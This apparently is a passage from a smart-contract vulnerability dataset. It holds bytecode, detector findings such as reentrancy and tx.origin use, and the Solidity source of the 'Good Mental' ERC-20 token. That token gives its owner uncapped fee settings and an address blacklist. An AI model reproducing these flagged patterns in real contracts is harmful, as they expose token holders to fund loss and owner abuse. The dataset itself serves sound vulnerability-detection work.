3c828261150b565b9250505090565b600081836117645760405162461bcd60e51b81526004016106749190611d12565b50600061137a8486611e22565b6008541580156117815750600954155b1561178857565b60088054600a5560098054600b5560009182905555565b6000806000806000806117b1876118d8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117e39087611935565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118129086611977565b6001600160a01b038916600090815260026020526040902055611834816119d6565b61183e8483611a20565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006118b2828261150b565b8210156118cf57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118f58a600854600954611a44565b9250925092506000611905611720565b905060008060006119188e878787611a93565b919e509c509a509598509396509194505050505091939550919395565b600061148583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611349565b6000806119848385611e0a565b9050838110156114855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610674565b60006119e0611720565b905060006119ee838361148c565b30600090815260026020526040902054909150611a0b9082611977565b30600090815260026020526040902055505050565b600654611a2d9083611935565b600655600754611a3d9082611977565b6007555050565b6000808080611a5860646109ed898961148c565b90506000611a6b60646109ed8a8961148c565b90506000611a8382611a7d8b86611935565b90611935565b9992985090965090945050505050565b6000808080611aa2888661148c565b90506000611ab0888761148c565b90506000611abe888861148c565b90506000611ad082611a7d8686611935565b939b939a50919850919650505050505050565b8035611aee81611ebf565b919050565b600060208284031215611b04578081fd5b813561148581611ebf565b600060208284031215611b20578081fd5b815161148581611ebf565b60008060408385031215611b3d578081fd5b8235611b4881611ebf565b91506020830135611b5881611ebf565b809150509250929050565b600080600060608486031215611b77578081fd5b8335611b8281611ebf565b92506020840135611b9281611ebf565b929592945050506040919091013590565b60008060408385031215611bb5578182fd5b8235611bc081611ebf565b946020939093013593505050565b60006020808385031215611be0578182fd5b823567ffffffffffffffff80821115611bf7578384fd5b818501915085601f830112611c0a578384fd5b813581811115611c1c57611c1c611ea9565b8060051b604051601f19603f83011681018181108582111715611c4157611c41611ea9565b604052828152858101935084860182860187018a1015611c5f578788fd5b8795505b83861015611c8857611c7481611ae3565b855260019590950194938601938601611c63565b5098975050505050505050565b600060208284031215611ca6578081fd5b813561148581611ed4565b600060208284031215611cc2578081fd5b815161148581611ed4565b600060208284031215611cde578081fd5b5035919050565b600080600060608486031215611cf9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3e57858101830151858201604001528201611d22565b81811115611d4f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611de95784516001600160a01b031683529383019391830191600101611dc4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1d57611e1d611e93565b500190565b600082611e3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5c57611e5c611e93565b500290565b600082821015611e7357611e73611e93565b500390565b6000600019821415611e8c57611e8c611e93565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d857600080fd5b80151581146107d857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201779651f28d89fdf9217a532efbd681a6e46e09b2cdc55ce7cfa418cfdf735b464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,682 |
0x34ef35f6c7caa63c3cac1b093d05a980326f7b21
|
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/*
GM (:
Website: https://www.goodmental.org/
Telegram: https://t.me/goodmental
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GoodMental is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Good Mental";
string private constant _symbol = "GM";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xcb6c2151f27D3fC96D10455F0e5d6fC3E9A7E89a);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 7500000 * 10**9; //0.75
uint256 public _maxWalletSize = 15000000 * 10**9; //1.5
uint256 public _swapTokensAtAmount = 7500000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610562578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b806395d89b41146104c757806398a5c315146104f2578063a9059cbb14610512578063bfd792841461053257600080fd5b80638da5cb5b116100d15780638da5cb5b1461045e5780638eb59a5f1461047c5780638f70ccf7146104915780638f9a55c0146104b157600080fd5b8063715018a61461041357806374010ece146104285780637d1db4a51461044857600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037d5780636b9990531461039d5780636d8aa8f8146103bd57806370a08231146103dd57600080fd5b80632fd689e31461030b578063313ce5671461032157806349bd5a5e1461033d578063658d4b7f1461035d57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102745780631694505e1461029457806318160ddd146102cc57806323b872dd146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c60565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600b81526a11dbdbd90813595b9d185b60aa1b60208201525b60405161023b9190611da7565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611bcc565b6106aa565b604051901515815260200161023b565b34801561028057600080fd5b506101fc61028f366004611d59565b6106c1565b3480156102a057600080fd5b50600c546102b4906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102d857600080fd5b506005545b60405190815260200161023b565b3480156102f757600080fd5b50610264610306366004611b58565b6106f6565b34801561031757600080fd5b506102dd60105481565b34801561032d57600080fd5b506040516009815260200161023b565b34801561034957600080fd5b50600d546102b4906001600160a01b031681565b34801561036957600080fd5b506101fc610378366004611b98565b61075f565b34801561038957600080fd5b506101fc610398366004611bf7565b6107b4565b3480156103a957600080fd5b506101fc6103b8366004611ae8565b610868565b3480156103c957600080fd5b506101fc6103d8366004611d27565b6108b3565b3480156103e957600080fd5b506102dd6103f8366004611ae8565b6001600160a01b031660009081526001602052604090205490565b34801561041f57600080fd5b506101fc6108fb565b34801561043457600080fd5b506101fc610443366004611d41565b610931565b34801561045457600080fd5b506102dd600e5481565b34801561046a57600080fd5b506000546001600160a01b03166102b4565b34801561048857600080fd5b506101fc610960565b34801561049d57600080fd5b506101fc6104ac366004611d27565b6109ab565b3480156104bd57600080fd5b506102dd600f5481565b3480156104d357600080fd5b50604080518082019091526002815261474d60f01b602082015261022e565b3480156104fe57600080fd5b506101fc61050d366004611d41565b6109f3565b34801561051e57600080fd5b5061026461052d366004611bcc565b610a22565b34801561053e57600080fd5b5061026461054d366004611ae8565b600a6020526000908152604090205460ff1681565b34801561056e57600080fd5b506101fc610a2f565b34801561058357600080fd5b506102dd610592366004611b20565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611d41565b610a75565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa4565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611dfa565b60405180910390fd5b60005b81518110156106a6576001600a600084848151811061066257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e81611f0d565b915050610633565b5050565b60006106b7338484610bbf565b5060015b92915050565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260040161062790611dfa565b600691909155600755565b6000610703848484610ce3565b610755843361075085604051806060016040528060288152602001611f6a602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112b5565b610bbf565b5060019392505050565b6000546001600160a01b031633146107895760405162461bcd60e51b815260040161062790611dfa565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107de5760405162461bcd60e51b815260040161062790611dfa565b60005b838110156108615761084e3386868481811061080d57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108229190611ae8565b85858581811061084257634e487b7160e01b600052603260045260246000fd5b905060200201356112ef565b508061085981611f0d565b9150506107e1565b5050505050565b6000546001600160a01b031633146108925760405162461bcd60e51b815260040161062790611dfa565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260040161062790611dfa565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161062790611dfa565b61092f60006113d5565b565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062790611dfa565b600e55565b6000546001600160a01b0316331461098a5760405162461bcd60e51b815260040161062790611dfa565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109d55760405162461bcd60e51b815260040161062790611dfa565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a1d5760405162461bcd60e51b815260040161062790611dfa565b601055565b60006106b7338484610ce3565b6000546001600160a01b03163314610a595760405162461bcd60e51b815260040161062790611dfa565b30600090815260016020526040902054610a7281611425565b50565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062790611dfa565b600f55565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062790611dfa565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600060046000610b4b6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b7c816113d5565b600160046000610b946000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610da95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610e0b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6001600160a01b03821660009081526004602052604090205460ff16158015610e4d57506001600160a01b03831660009081526004602052604090205460ff16155b1561119057600d54600160a01b900460ff16610eab5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f7420796574207374617274656400006044820152606401610627565b600e54811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f3f57506001600160a01b0382166000908152600a602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b600d546001600160a01b0383811691161461110557600d546001600160a01b038481169116148015610fd25750600d54600160b81b900460ff165b1561107f57326000908152600260205260409020544290610ff49060b4611e9f565b10801561102457506001600160a01b03821660009081526002602052604090205442906110229060b4611e9f565b105b61107f5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b6064820152608401610627565b600f54816110a2846001600160a01b031660009081526001602052604090205490565b6110ac9190611e9f565b106111055760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b3060009081526001602052604090205460105481108015906111275760105491505b80801561113e5750600d54600160a81b900460ff16155b80156111585750600d546001600160a01b03868116911614155b801561116d5750600d54600160b01b900460ff165b1561118d5761117b82611425565b47801561118b5761118b47611629565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d257506001600160a01b03831660009081526004602052604090205460ff165b806112045750600d546001600160a01b038581169116148015906112045750600d546001600160a01b03848116911614155b156112115750600061127f565b600d546001600160a01b03858116911614801561123c5750600c546001600160a01b03848116911614155b15611248576006546008555b600d546001600160a01b0384811691161480156112735750600c546001600160a01b03858116911614155b1561127f576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112af84848484611663565b50505050565b600081848411156112d95760405162461bcd60e51b81526004016106279190611da7565b5060006112e68486611ef6565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526001909152918220546113409184906112b5565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461136f9083611684565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c39086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b1790556000611450606461144a8460556116ea565b90611769565b9050600061145e8284611ef6565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114a657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114fa57600080fd5b505afa15801561150e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115329190611b04565b8160018151811061155357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546115799130911687610bbf565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908790600090869030904290600401611e2f565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b5050505060006115f983476117ab90919063ffffffff16565b90506116148461160f606461144a85600f6116ea565b6117ed565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a6573d6000803e3d6000fd5b80611679576116738484846112ef565b506112af565b6112af8484846118a6565b6000806116918385611e9f565b9050838110156116e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b9392505050565b6000826116f9575060006106bb565b60006117058385611ed7565b9050826117128583611eb7565b146116e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b60006116e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ab565b60006116e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b5565b600c546118059030906001600160a01b031684610bbf565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561186d57600080fd5b505af1158015611881573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108619190611d7a565b60006118b284836119d9565b905061191a8260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112b59092919063ffffffff16565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119499082611684565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061199d9085815260200190565b60405180910390a350505050565b600081836119cc5760405162461bcd60e51b81526004016106279190611da7565b5060006112e68486611eb7565b6000806119f6606461144a600854866116ea90919063ffffffff16565b30600090815260016020526040902054909150611a139082611684565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a649085815260200190565b60405180910390a3611a7683826117ab565b949350505050565b8035611a8981611f54565b919050565b60008083601f840112611a9f578081fd5b50813567ffffffffffffffff811115611ab6578182fd5b6020830191508360208260051b8501011115611ad157600080fd5b9250929050565b80358015158114611a8957600080fd5b600060208284031215611af9578081fd5b81356116e381611f54565b600060208284031215611b15578081fd5b81516116e381611f54565b60008060408385031215611b32578081fd5b8235611b3d81611f54565b91506020830135611b4d81611f54565b809150509250929050565b600080600060608486031215611b6c578081fd5b8335611b7781611f54565b92506020840135611b8781611f54565b929592945050506040919091013590565b60008060408385031215611baa578182fd5b8235611bb581611f54565b9150611bc360208401611ad8565b90509250929050565b60008060408385031215611bde578182fd5b8235611be981611f54565b946020939093013593505050565b60008060008060408587031215611c0c578081fd5b843567ffffffffffffffff80821115611c23578283fd5b611c2f88838901611a8e565b90965094506020870135915080821115611c47578283fd5b50611c5487828801611a8e565b95989497509550505050565b60006020808385031215611c72578182fd5b823567ffffffffffffffff80821115611c89578384fd5b818501915085601f830112611c9c578384fd5b813581811115611cae57611cae611f3e565b8060051b604051601f19603f83011681018181108582111715611cd357611cd3611f3e565b604052828152858101935084860182860187018a1015611cf1578788fd5b8795505b83861015611d1a57611d0681611a7e565b855260019590950194938601938601611cf5565b5098975050505050505050565b600060208284031215611d38578081fd5b6116e382611ad8565b600060208284031215611d52578081fd5b5035919050565b60008060408385031215611d6b578182fd5b50508035926020909101359150565b600080600060608486031215611d8e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dd357858101830151858201604001528201611db7565b81811115611de45783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e7e5784516001600160a01b031683529383019391830191600101611e59565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb257611eb2611f28565b500190565b600082611ed257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef157611ef1611f28565b500290565b600082821015611f0857611f08611f28565b500390565b6000600019821415611f2157611f21611f28565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a05f15528986fad385c568313920420590f8646744ddbb1450cbc868e5b817564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,683 |
0x14e24b6f516e29fbaadc97de368489a0ccb15594
|
/**
*Submitted for verification at Etherscan.io on 2021-10-03
*/
/*
👋WELCOME TO American Dad 👋
Total 1000000000
🔥Burn 30%
💹Tokenomics:
4% Tax for Marketing, Buyback
2% Reward for Holders
TG https://t.me/AmericanDadToken
*/
